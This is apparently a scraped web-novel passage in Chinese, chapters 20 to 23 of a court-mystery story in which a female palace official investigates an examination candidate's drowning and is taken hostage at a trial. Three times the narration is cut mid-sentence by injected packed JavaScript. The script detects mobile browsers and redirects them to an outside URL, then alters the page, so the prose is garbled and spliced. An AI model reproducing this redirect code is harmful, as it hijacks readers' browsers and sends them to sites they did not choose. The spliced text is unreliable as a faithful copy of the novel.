“事实不是已经明摆着了，高兄十几年寒窗苦读，之前屡试不第，今次好不容易入了三甲，朝廷说废就废，他受不了这个打击所以轻生。” “你怎知他不是被人害了？”任知宜盯着这个应宣，举子当中属他最为激愤。 “高兄从不与人结怨，只不过总说自己无颜回乡，不如死在兆京！”应宣愤愤不平道：“照我说，这就是朝廷之过！” 旁边的举子轻轻扯扯他的衣袖，“应兄，慎言！” 应宣甩开他的手，愤慨道：“如今，咱们之中已经有人含恨而死了，你还要苟且偷安吗？” “是啊！”有人附和道：“咱们应该去文正门前为高兄之死讨要个说法！” “对！” 这群贡士愈发激愤，说着就往门外冲去！ “博学审问，慎思明辨。”任知宜突然对着院中石壁缓缓念道。 石壁上的字是太祖亲手镌刻，每任学子路过此壁，皆要叩拜行礼。 众人不解她何意。 任知宜声音清凌如冰，“高期不是自尽。” 20. 周旋 此言一出，整个院内鸦鹊无声。 “请诸位慎重！”任知宜的声音温雅清润，却掷地有声，“背后之人的目的或许就是要煽动举子兴起事端。” 几个举子面上现出犹疑之色。 应宣问道：“你说高期不是自尽，有何凭据？” 任知宜淡笑道：“今日四处奔忙，至今滴水未进，不知可否先跟诸位讨杯水喝？” 众举子闻言，皆面露窘色。 眼下这情状倒好似是他们一群男子在为难一个弱质女流。想到此处，满腔的意气散了大半。 应宣搬来一把楠木椅，又将茶盏盛满茶水，置于旁几上。 “姑娘请坐！” 任知宜言笑晏晏，“多谢应举子。” 应宣沉声道：“请姑娘尽快告知高兄的死因。” “啾啾，啾啾……” 两只十四雀落在院中的银杏树上，争相啄着树干，发出嗒嗒的声音。 任知宜啜了口茶，慢条斯理道：“证据有三。” “其一，仵作发现，高期虽是溺死，口鼻中吸入的水草却较一般的溺水之人少很多，证明他入水时是半昏半厥，显然他并非独自去往曲江，最大的可能是他当时已被人迷昏。 其二，他的两个手腕处有很深的勒痕，手背上还有利石划伤的小创口，应当是有人将重石以绳索绑于他的手腕上，以期他沉入江底。没想到，昨夜月动，江波翻浪，将尸体飘了上来。” “其三，高期死于戌时至子时，我已问过四方城门守卫，未有人见过他出城。” “姑娘所言差矣。”人群中传来一个低沉的声音。 任知宜凝神望去。 发声之人身量不高，脸颊瘦削，站在人群中极不起眼，唯有双眸锐利而沉静。 “在下董嗣业。”他面容沉肃，“不同意姑娘所说。” 任知宜笑如春风，“愿闻其详。” “昨夜高期在怡然亭醉酒，贡士院人尽皆知。口鼻内吸入水草较少，不一定是被人迷昏，也有可能是因为酩酊大醉。” 任知宜反问道：“既已大醉，如何能孤身走到曲江？” 董嗣业漫不经心道：“或许高期先到了江边，又醉饮了一场，也未可知。” 任知宜淡淡一笑，“董举子这么猜测，倒也有几分道理。” 众人见她相貌清丽，行事温柔知礼，渐渐地卸下防备，七嘴八舌地讨论起来。 “昨夜我见过高期，他酉时就开始在怡然亭喝酒，一直喝到半夜。” “没到半夜！”另一个举子道：“我戌时出来过，他不在亭中。” “我们几个明明看见，快至子时，董兄和许兄背他回房。” “还有应兄和况兄也在一起。” “……” 任知宜静静地听着，暗暗记下其中的信息。 这些举子如今对朝廷有怨气，若是逐一盘查审讯，恐怕又要多生事端。 不如抛砖引玉…… 若他们未说谎，如今能够确定的是，高期在亭中饮酒至戌时，但是中间消失了一段时间，约摸子时被几个举子背回房间。 董嗣业也发现了任知宜的目的，沉声道：“姑娘，你说高兄手上有绳索捆绑的勒痕，焉知不是高兄怀着必死之志，自己绑上去的呢？” 一众举子齐齐地望向任知宜。 任知宜起身福了一礼，“诸位有所不知，高期腕上的勒痕深浅不一，最深处在他的手腕内侧，除了勒痕，腕内侧还有数道擦痕。 这两种痕迹足以证明，当时他的双手应是被绳索反缚于背后，他独自一人，如何能做到？” 几个举子闻言，下意识地背手而试，露出恍然大悟的神情。 任知宜又道：“我猜想，杀他之人或许是担心他于水中醒来解开绳索，所以如此行事。” 察觉高期死因不明，有几个举子萌生退意，“这位姑娘说得有几分道理，若高兄真是被人所害，我等不明真相，岂不是成了帮凶。” 任知宜松开袖中紧握的手指，暗暗地舒了一口气。 说是证据，其实她自己心里清楚地很。一无人证，二无物证，眼前不过是利用了几个取巧的疑点，唬唬人还行。 幸好，人心易变。 只要众人心中生出一丝疑虑，文祸一事，便不会酿起。 董嗣业突然生出几分冷笑，“姑娘舌灿莲花，令人钦佩。” 话音一转，“只是我有一事不明，姑娘一人前来，不带府兵，不报身份，对着我们一番旁敲侧击，究竟意欲何为？” 应宣像是突然被点醒，上前一步问道：“姑娘究竟是何人？” “我是何人并不重要，只是诸位举子扪心自问，为了一时意气罔顾前程，真地值得吗？” 她从容地摘下官帽，露出光洁如玉的额头和远山含黛之眉，融融的笑意噙在唇间，“在下任知宜。” “任知宜？”有举子惊叫道，“她是霍思修的义妹！” 她站上石壁前的高阶，朗声道：“诸位若听我一言，静待五日，大理寺必会对高期一案给各位一个交代。” “若我们不从呢？” 她手托官帽，以最轻淡的口吻说着最凛冽的话：“若诸位执意去文正门前，我今日便血溅于此。 我义兄霍思修，舍身取义，擂响登闻鼓，为天下读书人求一个公道，至今仍在大理寺的牢狱中关押着。 我为保大理寺顺利公审科举舞弊一案，今日亦不能堕了义兄之威名。” 这一番话说得义正辞严，众人俱皆面露惊然，渐渐黯然散去。 歩出贡士院，被炎炎烈日一照，任知宜生出几分恍惚，脚下一个趔趄，差点摔在门前。 庞大海赶忙扶了一下，“女史可还好？” 任知宜揩了把冷汗，只觉心神俱疲，勉强挤出个笑容，“总算幸不辱命！” 从军中探子那里听闻里面的情况，庞大海面对任知宜，禁不住肃然起敬，“女史聪慧果敢，一腔忠义，难怪能得太子殿下器重。敢在太祖石壁前说血溅当场，女史当为我大胤第一人。” 任知宜扑哧一下笑了出来，“庞将军说笑了！我怎么会真得去撞壁！” 庞大海怔怔地立在当场。 任知宜唇角轻勾，“自古文人最重清名。若我只是个普通朝廷小官，倒也罢了，可是我是霍思修的义妹。 他们的贡士之名乃是因我义兄擂响登闻鼓而失，若是此番逼死我这个义妹，所有人都会认为他们是挟怨报复，到时候要面对天下人的口诛笔伐，他们宁可去死。” 庞大海怔了半晌，蹙着眉问道：“若他们不从呢？” “不会的！”任知宜淡淡笑道。 庞大海不死心地问道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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卫枢抿唇，“孤认为，与其终日提防，不如将其置于毂中。” 景郦双眸幽深，“殿下真得是这么想的？” “自然。”卫枢淡淡应道。 “老臣只是担心，殿下被奸人所惑，抑或是妇人之仁。” 卫枢拱手淡笑，“景相多虑，父皇早已告诫于孤，他说，大胤建朝百年有余，安邦定国靠的是诸位臣工，而不是未曾开化的百姓。” 景郦闻言，面色稍霁。 “孤昨日已上表，举荐了两个人选继任礼部尚书。” 景郦挑眉。 “一位是吏部侍郎袁宏，一位是国子监祭酒程可靖。” 这两位，皆是景相的得意门生。 此言，已表明太子的立场。 “老臣还以为，殿下会举荐苏叶苏侍郎。” 卫枢眸色清润，“苏叶资历尚轻，历练几年再说吧。” 景郦沉思片刻，“明泽近年来体弱多病，老臣觉得，礼部尚书的人选还是袁宏更为适宜。” “景相所言极是。” 烈日晴空，清和殿的砖红瓦当在明晃晃的日头照耀下，折射出血红的色泽。 21. 追查 夜色浓深，树影婆娑。 高期的房间在贡士院最偏僻的西北一角，四周被低矮树丛环绕。 伍主事领着任知宜走到门前，“听从女史吩咐，已将高期的同舍移至他处。” “多谢。” 伍主事不放心，“仅女史一人查探？” “庞将军有公务在身，已经回宫。不过是一间空房，我且进去随意看看。”任知宜不以为意，“伍主事辛苦，先歇息吧。” 她推开门，房间宛若黑洞，阴森之中透着鬼气。 点燃烛台，她环顾四周。 房间一分为二，东西格局相同。西侧为高期所住，书案置于黄漆胡床边，衣奁内叠放着三四件旧长衫。 案上笔墨纸书摆放齐整，既有经史子集，又有日常写的策论和诗作。 从他所写文章来看，高期才学平平，无论文思还是立意，皆差强人意。 可是，她曾查过会试榜单，高期名列二甲第二十八名。他是乡野出身，家境贫寒，断无可能重金贿赂考官…… 正凝思之际，她突然觉得后脊一阵发凉，好像有一双眼睛，在背后盯着她。 她全身僵直，心口一窒。 握着书册的手轻触烛台，推着它朝外窗的方向挪动数寸。 烛台的光照在窗上，陡然现出一道暗黑的人影。 “谁？”任知宜颤声喝道。 那影子顿了一下，反而将头向前探得更深，一张脸紧紧贴着窗，暗光之下，窗纸被扭曲成人脸的轮廓，宛若鬼面，双眸幽芒闪烁。 ———— 门房来报，有人要入院。 伍主事披上中衣，连连打着哈欠，“这都什么时辰了！谁啊？” “来的是两路人，一路是个女的，另一路是坐马车来的。” 伍主事不解，“什么急事非得晚上来？” “两边都拿着剑，小的也不敢多问。” 伍主事无奈叹气，“带我去看看吧，院里已是一团乱麻，别再惹出什么事来。” 院门外，左侧石阶上坐着一个抱剑的年轻姑娘，右侧停着辆马车，帷帘半卷，露出车内男子的侧脸，驾车的黑衣人手握长剑，正是林四。 伍主事走到年轻姑娘面前，上下打量了一番。 姑娘粗衣裹身，头发随意一挽，肤色透着健康的黑，浓眉英挺，一双眼睛异常明亮。 与伍主事想象中的举子家眷不同，他不确定道：“姑娘有何贵干？” 那姑娘抱剑拱手，示出大理寺腰牌，“听说这里出了命案，非我不可，我刚刚连夜从怀县赶回来。” 伍主事神情一顿，又转头望向林四。 林四示出东宫腰牌，面无表情，“殿下要见任女史。” 伍主事浑身巨震，慌忙跪拜相迎。 ———— 众人行至高期房门前，忽见窗前一道黑影闪过，倏地窜进一丛矮林中。 “抓活的。”卫枢沉声道。 林四闻言一跃，追了上去。 卫枢和年轻姑娘踏进房内，房间漆黑一片。 “任知宜？”卫枢轻唤。 “我，我在这儿。” 点亮火折，卫枢循声，发现任知宜蹲在书案下面，环抱双臂，小脸惨白。 卫枢扶她出来。 站定之后，她面容渐渐恢复血色，镇定下来。 卫枢淡声道：“好胆气。若不是林四告诉孤，孤都未想到，你敢深夜到这里独自查案。” 这语气半是关切，半是责备，令任知宜哑然。 原本以为贡士院是朝廷之所，应是安全无虞，可是刚才的一幕，着实将她吓得不轻。料想高期之死，必和贡士院的人脱不了关系。 任知宜赧然道：“连累殿下担忧，是臣的不是。” 卫枢神色稍霁，温声道：“日后无论去哪儿，带上林四或者林七。” “是。” 紧接着，任知宜瞧见卫枢身旁的姑娘，“殿下，这位是？” 姑娘抱拳，“大理寺，唐橘！” 原来是林大人推荐的那位擅长刑名的捕快，没想到是个姑娘。 “唐姑娘有礼。”任知宜颔首，“东宫女史，任知宜。” 唐橘摆摆手道：“唐姑娘听着别扭，叫我唐橘好了。橘树的橘，庄户人家起名没你们官家那么讲究。” 任知宜莞尔一笑，“我爹为我起名时，希望我宜室宜家；这么看来，也不算讲究。” 唐橘抬眼望去，此女气韵纤弱，清雅端静，但又好像和京城的贵女不太一样。 “这些是什么？”唐橘翻开书案上的东西，拧着眉头道。 “你们来之前，我作了整理。左边的书稿是高期的诗作，右边那一摞是家书。” “可有发现什么？” 任知宜摇摇头，“我看不出来，都是些寻常东西。” “这是什么？”唐橘从地上捡起一块儿黑色的硬物，放在鼻下闻了闻，一股子墨香味儿。 “是砚台！”卫枢轻声道：“这个房间有笔墨，却没有砚台。” “不错，这应该是砚台磕坏的一角。”唐橘凝神细看。 任知宜凝视着她，这位唐姑娘开始查案之后像换了一个人似的，满眼都是神采。 “这砚台有何紧要？” 唐橘指着书案道：“你看这些诗作和家书，放得井井有条，甚至按照时间顺序做了归整；地面纤尘不染，连衣奁中的衣物摆放都有既定的顺序，可知高期应是一个极爱整洁之人。” “那又如何？” “这种人为什么没有打扫地上的碎块儿？” 任知宜沉眉深思，“或许，他是死的那日打破了砚台，却未来得及收拾。” 卫枢淡淡道：“这里只有小小碎块，剩余的砚台去了哪儿？” 任知宜猜测，“有没有可能是被凶手拿走了？” 唐橘摇头，“来之前我去看过他的尸身，身上没有半分重物击打的伤痕。砚台不是凶器，凶手何故拿走？” 卫枢沉思片刻，“会不会是高期自己拿去修补了？” 任知宜心中一动，“我明日去城中书坊问问。” “等等！”唐橘若有所思，“你们说他在什么情况下会打翻砚台？” 三人相视对望。 任知宜先反应过来，“他每隔一日要作诗两首，这个习惯从未变过。” 唐橘接着她的话，继续道：“每月初十，他会写家书寄回，然后月末收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜。”唐橘咂了咂嘴，“不过，话说回来，你这身子骨是柔弱了些。” “多谢抬举，志不在此！”任知宜淡定地抿了口茶。 二人一见如故，交浅言深。唐橘知晓她在为太子做事，笑着揶揄道：“你不会想说，你的志向是做大胤第一幕僚吧。” “那倒不是。”任知宜笑笑，“我幼时曾立志，有朝一日必要成为灵州首富。” “咳咳……”，唐橘被茶水呛到，不敢置信地看着她。 果然是，人不可貌相。 纵使长得再仙姿玉貌，清雅出尘，也未必没有一颗世俗之心啊。 “如今呢？” 任知宜淡淡一笑，“走一步，看一步吧。” 她视线飘远，突然指着楼下一人道：“唐橘你看，那人是不是很像驿站管事给我们画的人？” “就是这小子！等他半天了！” 唐橘右手借力，倏地从凭栏处飞跳而下，追了过去。 22. 证词 二人追上信客。 信客名唤赵虎，靠着和驿丞有姻亲，时常将外地举子的家信夹在驿站快报中，一同送出城去，他趁机收些跑脚费。 据他所说，三月初十酉时，高期确实找过他，寄出一封家信。 那赵虎是个标准的混痞，唐橘素知这等人的脾性，对他所说的半信半疑。 任知宜心中一动，“确定是酉时？” “这时间有何不妥？”唐橘问道。 任知宜将贡士院举子说的告诉她，众多举子都说高期酉时在亭中饮酒，为何赵虎却说高期与他在一起。 “他身上可带酒气？” “没有！” “赵虎！”唐橘厉声喝道，长剑出鞘，搁于颈前，“又给姑奶奶放屁？” “没！绝对没有！”赵虎梗着脖子，急得脸色通红，指天起誓道：“他来的那日，正是我爹大寿，我吃了寿宴之后去的驿站，我倒是一身酒气，还被那高期嫌弃了。” 他见二人仍疑心，又继续道，“他还说要去修补砚台，让我推荐家书坊，你们若不信，就去前街那家问问，看我有没有说谎。” 任知宜和唐橘相视一眼。 砚台之事，她们只字未提。这么看，赵虎的话倒是有几分可信。 任知宜沉思半晌，问道：“那封信你看过吗？” 赵虎道：“虽未看过，但是高期一直催促我尽快送出，说是家中接到贡士被废的消息必定心急如焚，看了这封信，他们就能安心了。” 特意写信让家人安心，高期又怎么会自尽！ 唐橘收剑，慢慢悠悠道：“赵虎，实话跟你说，高期死了。你须得去大理寺公堂上将你刚才说的再说一遍。” “他死了？”赵虎惊得一哆嗦，目瞪口呆地连连摆手，“我不去公堂！刚才那些都是胡说的，我什么都不知道！” 唐橘拎起赵虎的衣领，露出几分凶相，“你是高期死前见过的最后一个人，嫌疑最大。你若非不说，也不是不行。” “高期这个狗杂碎！”赵虎面色惨白，啐声道：“平日里抠抠搜搜，就没让我赚到几分银钱，死了也给我惹这么大麻烦。” “高期很吝啬？”任知宜突然问道。 “可不是嘛！”赵虎骂骂咧咧，“若不是瞧他是个举人，谁愿意赚那么少，帮他送信。” 不多久，大理寺的人押了赵虎回去。 唐橘带着任知宜去到马市。 “按照惯例，驿站每月十一日会发出官府邸报公文，按脚程，我们快马去追，应该能追回那封信。” 卖马人为她们挑了匹黑马，鼻肥口红，双眼发亮。 唐橘拍了拍饱满的马腹，很是满意，“这匹精壮，送给你。” 瞥了一眼高厚的腰墩，粗壮的马蹄子，任知宜忙不迭后退两步，面带难色，“我不会骑马。” 她自幼有畏高之症，上树，骑马都不行，一上去高处便两眼发黑，双腿战战，上一次去太子的别院翻墙，全凭一股意气撑着，下来时腿都软了。 “罢了！”唐橘眉头一蹙，“我一人去追。你去寻书坊问高期的行踪，再转告林大人先别开堂审案，最迟三日，我定赶回。” “好！”任知宜道。 唐橘利落地跳上马，缰绳勒在手中，冲着任知宜飒飒一笑，“等我回来！” ———— 三四月的天，变得极快。 前一夜落下小雨，今日晌午刚过，便见天光大照，草木微萌。 大理寺卿林居正跪于乾元殿外，等着谒见陛下，面圣告罪。 圣令言明，限七日内将科举舞弊结案，本是一十三人的舞弊之罪，却堪堪少了一人。 肖显秀死前，对其他人舞弊之举供认不讳，唯独不提钟黎，像是铁了心要保钟家父子。 林居正本想与他再周旋两日，没料到人却突然身死狱中，缺了他的证词，便无法定钟黎之罪。 皇帝听完，手里把玩着新进的贡品九莲白玉璧，头也不抬道：“算了。” 林居正一怔。 皇帝微抬眼皮，漫不经心道：“朕知卿行事谨慎周全，不过此案的重心乃是解州举子，卿须记住，要立大局而非小节。” 林居正躬身应道。 出来时，乾元殿前的汉白玉阶被明晃晃的日光一照，折射出耀目的光，刺得林居正双眼迷离。 陛下的言外之意，莫说钟黎之罪，竟是连肖显秀之死也是无足轻重。解州一派声名尽丧已成定势，此时朝局不宜再经动荡，他这个大理寺卿要懂得审时度势。 今日早朝，景相荐吏部侍郎袁宏接任礼部尚书一职，太子附议，不日将颁下圣令。 果真是，你方唱罢我登场，案子须尽快了结了。 林居正扯扯嘴角，甩了甩宽大的袍袖，晃晃着出了宫门。 ———— 驿站前街只两家书坊。 任知宜拿着高期的画像一一查问，两家书坊都说从未见过此人。 她不死心，又将整个前街的酒肆茶楼，杂耍摊贩全部查问一遍，从晌午跑到天黑，直跑得饥肠辘辘，两腿发虚。 随意寻了个面摊，坐下。 带着破口的碗，油腻的面汤，汤上飘着几片菜叶，任知宜顾不得嫌弃卖相，大口吃了起来。 不知道是不是因为饿的时间太久了，几口下去，竟觉得这面是天下至味。 “看姑娘吃的香，我都有些饿了。” 任知宜回头一看，景随发垂披风，衣染微尘，虽然像是几日未及膏沐，却带着几分青衫落拓之意。 此处离大理寺不远，看样子，景随应是刚刚从大理寺出来。 “景公子这么快就出狱了。” 景随笑笑，“有劳姑娘挂心，是林大人明察秋毫。” 他从容地撩起衣角，径直坐在了任知宜的旁边。 “我坐这里，可会打扰姑娘？” 擂鼓当日，任知宜也曾说过同样的话，她学着当日的景随，淡笑道：“公子随意。” “还未恭喜姑娘升任东宫女史。” “也恭喜景公子无罪开释。” 二人虚虚一笑，不太真切。 景随直白道：“林大人说，肖显秀所中之毒名唤心挠，中此毒者，会在一刻钟之内突然心滞而死，形同胸痹之症。姑娘猜，会是何人给他下了心挠之毒？” 任知宜挑眉，却不答话。 景随不以为意地笑道：“我还听说，三年前，高期曾参加过会试，并与五位举子一同告上礼部。” 竹筷一顿，任知宜缓缓抬眼，眸色一变，“为了何事？” 此时，摊主端面上桌。 景随也不说了，挽起宽袖，好整以瑕地吃起面来。 任知宜深呼一口气，绽出清如芙蕖的笑容，“烦请公子解惑。” “呵！”景随失笑，“景某已释出诚意，姑娘却还在处处提防于我。” “我奉太子之命核查高期一案，想要知道案情，理所应当。可是，景公子数次旁敲侧击，意有所指，个中缘由我却一无所知。” 景随吃了口面，眸色淡淡，“我兄长死于会试当日，所以这些年来我一直留意与会试有关的事，不知道这个答案，姑娘是否满意？” 如此直白的坦诚，令任知宜一怔。 她心中掠过一丝歉然，“景公子，抱歉。” “无妨！”景随不以为意道：“若姑娘肯帮景某一个忙，景某便将所知和盘托出，还会助姑娘一臂之力。” “何 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老汉沉下脸来，抽出一根藤条抽了上去，“老子让你抬起头，露出脸来，你一直耷拉着头，诚心让老子被赌坊的人打死吗？” 藤条落在姑娘瘦薄的身体上，单衣破开，露出白皙肌肤上的血痕。 那姑娘怯怯地抬起头来，露出一张清秀的小脸，大大的眼睛沁满泪水，荏弱无依。 “啧啧啧……”，一个围观的中年男子咂声道：“真是作孽啊。” “为了还赌债，这么对亲闺女，真不是人啊！”另一个男子亦大声骂道。 任知宜环顾四周。 围观的男人们虽然嘴上说着同情的话，身体却诚实得很，无一例外地，都盯着姑娘姣好的面容和雪白的藕臂，眼睛一眨不眨，脚下却不挪动半步。 她微微蹙眉，“堂堂京城，天子脚下，也敢如此？” “京城又有何不同！”景随唇角含笑，眼神淡漠，像在看一场寻常的皮影戏，“青楼、赌坊的门口，每日都有这等事情发生。” 入京以来，任知宜见惯京城繁华似锦，文士倜傥风流，便以为京城与灵州不同，百姓安居乐业，是大胤鼎盛所在。 围观的人看热闹的多，真正肯花一百两银子的人却没有。 姑娘望着周遭人群，脆弱的眼神里满是恳求。 当视线落在任知宜身上时，她看出对方眼神中流露出不忍，忙不迭磕头道：“求姑娘怜悯。” 景随望着任知宜，神情微妙，“你想救她？” 任知宜默然。 “世间不平千千万，我劝你还是不要多管闲事。”景随淡淡道。 任知宜尚未答话，那姑娘突然踉跄而奔，扑跪在她脚边，拽着裙裾一角痛哭，“求求你，求求你。” “你先起来。” 姑娘不依。 任知宜无奈，只好伸手去扶她。 来自手掌的粗粝触感传来，任知宜微微一怔。 掌心微胼，不似一般女子手骨柔嫩细软，一看就不是养尊处优长大的。 任知宜神色微顿，轻声道：“你手上的茧？” 姑娘垂着头，抹着眼泪道：“姑娘别嫌我粗手粗脚，我曾跟着表姑给一个大户人家做了两年帮厨，什么样式的菜都会做。” 厨子常年用刀，所以指根和掌根处皆有胼茧。 可是…… 厨子用刀，惯用虎口连接食指的地方，而这个姑娘的无名指根部胼茧较之别处厚硬，更像是江湖人士惯常练刀剑所致。 这两者之间的微小差别，若不是宝珠曾经告诉过她，她绝然分辨不出。 “这是一百两，你先收下。” 姑娘千恩万谢。 23. 会审 夜雨沥沥，落在地上结成一个个小水圈，雨滴之声响在寂静的夜空里。 北衙外门大敞，一行人踏步而入，步履匆匆。 卫枢一身黑色披风，坐于衙堂，披风沾了雨丝，略带寒气。 “审得怎么样？” 庞大海恭谨回道：“那赌徒招了，可是那个女的嘴硬得很，一句都不说。” 今日暮时，太子突然遣人送来一对父女，关押在北衙狱中，命他调查其来历身份。 他不敢懈怠，亲自去查。 明面上，这女子是随爹爹从江南来的佃户之女，她爹好赌，欠下一屁股赌债，只好卖女还债。 细细查下去，却发现此女身份有异，二人根本不是亲生父女，而是半路认的假爹。 “那赌徒说，数日前，这女子自己找到他，给了他二百两，说什么都不必做，只需要将她当亲闺女卖掉即可。那赌徒见有这等好事，自然没什么不答应的。” “用重刑了吗？” 庞大海道：“尚未。” 卫枢瞳眸幽深，清清淡淡道：“挑断她左腕筋脉，若还不说，继续挑。” 庞大海神情一震，“是。” 过了半刻，庞大海来报，“那女子想见殿下。” 卫枢步入刑室。 女子双手被绑在刑架上，纤细的手腕皮肉翻飞，血筋断裂，令人见之胆寒。 她浑身抖颤，眼神中满含不甘，“求你，放我一条生路。” 卫枢面无表情，“什么人派你来的？” 女子眼神闪过一丝挣扎，可是亲眼看着手筋被挑断的恐惧再次袭上心头，她颤声道：“如果我说了，你能不能保我性命？” 卫枢眼神微冷，带血的刀匕再一次贴上她右腕的肌肤，轻轻划动着。 那触感森然冰冷，毫无温度，像一条缠绕在腕间游走的蛇。 女子从嗓子里发出一声凄喊，“我，我是安州王府豢养的护卫。” 卫枢冷冷道：“你刻意接近任知宜，为什么？” “我原本负责护卫懿靖郡主。有一日，王爷突然飞鸽传信，让我到京城接近新任东宫女史。” 卫枢神色愈加深冷，“做什么？” “王爷只说让我接近她，探听她的下一步举动，没有要伤害她的意思。” 卫枢淡淡问道：“除你之外，安州王有没有派其他人到她身边？” 女子摇头。 庞大海冷嘲，“你那个假爹说你曾偷偷地见过一个中年男子。” 女子面露惊惶，“我说得都是真的，那个人只是负责向我提供任知宜的行踪，我也不认识他，你们放过我吧……” 看她样子不似作伪，庞大海道：“安州王明里与殿下结盟，暗地里却行之诡秘，他既然能在任女史身边安插眼线，自然也会将手伸向东宫。” “孤知晓。”卫枢轻声道：“景相也好，安州王也罢，都不可信。如今东宫势弱，留些许破绽给他们，倒也未尝不可。只是，任知宜初入朝堂，身边还是须干净些，这一次也幸亏她机警。” 思索片刻，吩咐道：“将近来出现在她身边的所有人再查一遍，随时来报。” “是。”庞大海又问，“殿下，这女子该如何处置？” “利用她引出那个男人，将二人暂且关在北衙。” ———— 长空万里，纤凝无迹。 乌压压的人群聚于大理寺堂前，个个伸长了脖子朝内望去。 大胤建国百余年未闻的科举舞弊大案，太子监察，三司会审，称得上是举国震动。 大理寺卿林居正端坐正中，太子卫枢于左，刑部尚书席白、监察御史蔡崇华和翰林院姚大学士分坐于右。 司直得令，押解众人上堂。 “本官乃大理寺卿林居正，奉陛下之命审科举舞弊之案，今已查实，特昭示于天下。” 林居正立于堂前，高声道：“礼部尚书肖显秀身为进士科主考官，私泄考题，贪墨罔利，混淆圣听，罪处极刑，因其自尽身死，着抄没家产，全家十五岁以上男子流放南州。” 人群中，百姓一片惊呼。 任知宜心中泛起波澜。 大胤重文，文臣无死罪，乃是多年来不成文的规矩。朝廷借此重立威信，大胤朝堂才能稳固。 她侧目一望，霍思修于堂前跪着，衣衫齐整，面色如常，知他在狱中未受磋磨，终于放下心来。 林居正的声音再度响起，“礼部侍郎于文崇父子，笞四十杖，抄没家产，流放靖州三十年；中书舍人裴宜官降四级，裴复与解州举子宫北楼、郭宪等十一人，舞弊之行罪证确凿，革除功名，永不入仕。” 一直默不作声的宫北楼遽然抬头，“学生不服！” 林居正肃着脸，“这个结果，是三司会审一致通过的。你有何不服？” 宫北楼倏地直起身来，不甘心道：“以学生的学问，看不看考题都是一甲之才。” “本官查案，只重证据。” 宫北楼再拜，“林大人，学生若能重新参加下月会试，当可证明。” “不必了！”卫枢出声打断。 他阔步而下，青衣锦袍，气韵华然。 “德行乃立身之本，空有才学，却蝇营狗苟，如蚁附膻，终是朝廷之祸。” “殿下！”宫北楼身旁的举子突然将头磕得咚咚作响，涕泪横流，“殿下能不能再给学生一个悔过的机会？就这样回乡，难见父母亲朋啊。” 卫枢冷冷拂袖，连一眼也不愿意再施予二人。 周围的百姓望着这些举子，皆窃窃私语，面带鄙夷，似乎在说，这些解州举子除了才学不济，连最后一点敢作敢当的气节都没有了。 碎语嘈嘈，愈热愈烈。 一丝狠戾自宫北楼眼中一闪而过，他突然朝着人群高声大喊，“北楼无话可说，惟有一死以证清白！” 话音甫落，他朝着堂前抱柱猛然撞去。 事出突然，所有人的注意力都集中在宫北楼身上，未防范有人突然跃起，拽过人群中的任知宜，将缠绕在指间的铁丝，环勒住她的脖颈。 情势急转直下，让所有人都措手不及。 出手之人叫韦尚，正是刚才跪在宫北楼身旁磕头求情的举子。 任知宜被挟着后退，喉间剧痛难忍。 铁丝是用特殊的生铁精铸而成，如发丝一样细，极具韧性，轻轻一使力，便能够嵌入人的皮肉之中。 见大理寺衙役要上前抓人，卫枢寒声厉喝，“都退下。” 他面色发青，冷眸紧紧地盯着韦尚的手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127502|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你放了她。” 韦尚双眸猩红，神色癫狂，“若不是她，我们怎会变成阶下囚！” 疯狂之下，铁丝箍得更紧，任知宜被勒得颈项高扬，露出触目惊心的红色勒痕。 卫枢欺身上前，沉静的眸子现出一丝焦灼，“你想如何？” “我要她死！”韦尚双目呆直，面容扭曲。 “呃……”，铁丝越勒越紧，任知宜几乎喘不动气，窒息的感觉袭来，几乎要将整个人湮灭。 卫枢双眸森然，“她是听孤命行事，你真正恨的人是孤，不如孤与她换。” 堂前皆惊。 任知宜闭阖的眼睛蓦地睁开，望着卫枢，目色惊然。 “殿下，不可！”林居正失声喊道。 “谁都不要过来，近前者死。”卫枢狠声戾喝，吓得众人浑身一颤。 卫枢自缚双手，走向韦尚。 铁丝松开，任知宜得到片刻的喘息，捂着脖颈的伤口大口呼吸。 过身之际，二人四目相接。 卫枢突然嘴唇翕动，以口型无声地说了一个字。 说时迟那时快，二人同时屈身。 刹那间，一支羽箭划破长空，正中韦尚伸向卫枢的右手，箭矢透穿手掌。 紧接着，围墙上早已架起的排弓弩齐声发箭，二箭中眉，三箭穿心。 “你没事吧？”卫枢解去自缚，扶着任知宜，任她靠在怀里。 任知宜重重地咳了几下，颈间皮肤犹火辣辣地疼，想要开口，却说不出话来。 她指着自己的喉部，摇了摇头。 “立刻去请李太医！”卫枢声音陡然拔高。 因为行刺，公堂之外的百姓早被遣散。 眼见太子安好，林居正长长地舒了口气，朝着撞柱未死的宫北楼重重地踹了一脚，气急败坏道：“本官一条老命差点被你们吓死！” 任知宜口不能言，指着韦尚的尸体摇摇头，又指着宫北楼点点头。 霍思修不解，“知宜在说什么？” 卫枢缓缓道：“她大概是说，韦尚已死，林大人别把宫北楼也踹死了，还要追问他幕后之人。” 众人恍然。 任知宜想起昨日之事，眼皮微动，示意卫枢伸出手掌。 细白的手指落在宽大的掌心处，一笔一划，写出了她想问的问题。 卫枢忽略掉心头细密的痒意，附耳低语，“你放心。她已招认是安州王的人，应该只是个普通的眼线。” 竟然是安州王何卢！ 